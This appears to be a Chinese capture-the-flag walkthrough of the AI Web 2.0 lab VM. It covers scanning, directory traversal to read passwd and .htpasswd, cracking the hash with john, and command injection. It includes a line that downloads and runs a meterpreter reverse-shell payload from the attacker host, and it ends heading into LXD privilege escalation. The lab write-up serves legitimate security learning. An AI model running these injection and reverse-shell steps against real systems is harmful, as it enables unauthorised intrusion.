AI Web 2.0

Posted 我要变超人

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了AI Web 2.0相关的知识,希望对你有一定的参考价值。

kali: 192.168.0.103

目标机:192.168.0.105


0X01 扫描端口和目录

a)扫描端口

开启了80和22端口

clipboard

b)扫描目录

看到两个敏感字样的目录

clipboard

尝试访问/webadmin 目录,没有账号密码进不去

clipboard

另一个也被禁止访问

c)深度扫描目录

dirb http://192.168.0.105 -X .txt,.html,.php,.zip

clipboard

看到有个download文件,但是下载后是个空文件


0X02 查看80端口的网页结构,获取有效信息

clipboard

是一个不需要密码的登陆界面,尝试admin登陆没用,注册一个账号登陆进去

clipboard

暴露了这是一个文件共享的系统

Google搜索此系统

得到两个漏洞

一个目录遍历

clipboard

一个跨站请求伪造

clipboard


0X03 使用目录遍历

clipboard

有两个文件可以目录遍历,尝试任选一个包含passwd文件成功

clipboard


0X04 爆破ssh

通过passwd我们可以看到用户名是aiweb2

尝试进行爆破ssh登陆

并没有获得密码


0X05 查看配置文件和日志文件,尝试包含日志

得到一个apache配置文件,没得到什么信息

clipboard

读取apache和ssh日志,都失败,可能没有权限读取

后来查看别人的文章才知道,思路是对的,但是文件没找到,读取/etc/apache2/.htpasswd文件,为什么会想到查看这个文件,后面我理解了,因为之前我们扫到了webadmin的目录,网站后台登陆

读取/etc/apache2/.htpasswd文件得到一串密码aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/

使用john破解hash,将密码粘贴到test.txt中

john --wordlist=\'/usr/share/wordlists/rockyou.txt\' test.txt john --show test.txt

rockyou.txt是收集的已泄露密码文件

clipboard


0X06 进入网站后台

clipboard

暗示我们查看robots文件

clipboard

查看两个目录,第一个是ping命令,联想到命令执行漏洞

clipboard

第二个目录,翻译:在此目录中找到多汁的信息!!!

clipboard

使用dirb 搜索目录,什么也没找到


0X07 利用第一个目录

a)查看是否有命令执行漏洞

clipboard

b)命令执行漏洞存在,使用漏洞获得shell

使用命令执行下载大马上去,密码正确进不去

下载msf生成的php文件,访问上线后立马挂掉

写了个一句话木马进去,也连不上,也不知道为什么

最后用msf的linux/x86/meterpreter/reverse_tcp这个payload反弹成功,制作过程不演示,

|| wget http://192.168.0.103/shell || chmod +x shell || ./shell

clipboard


0X08 提权

a) 查看当前网站目录下是否还有遗漏的重要信息

在另一个目录下发现隐藏文件,查看内容记录着ssh的账号密码

clipboard

b) 登陆ssh

uname -an 查看内核信息 不优先使用内核提权

id 查看当前用户权限 发现lxd

clipboard

LXD:Linux的下一代容器管理器

谷歌搜索相关漏洞: lxd exploit

查到一条相关漏洞,版本要求Ubuntu18.04

clipboard

cat /etc/issue

查看当前版本,可以利用

clipboard

下载exp并查看是使用说明

以上是关于AI Web 2.0的主要内容,如果未能解决你的问题,请参考以下文章

华为鸿蒙系统2.0发布了!AI人工智能大有可为!

轻量化AI服务再添两将!阿里云机器学习PAI DSW 2.0 & Alink商业版重磅发布

Meta AI 更新的 Data2vec 2.0 | 实现更快更高效的视觉语音和文本的自监督学习

Meta AI 更新的 Data2vec 2.0 | 实现更快更高效的视觉语音和文本的自监督学习

关于ChatGPT的一切;CUDA入门之矩阵乘;PyTorch 2.0发布|AI系统前沿动态

Graphcore 联合百度飞桨提交 MLPerf Training 2.0,IPU 性能再下一城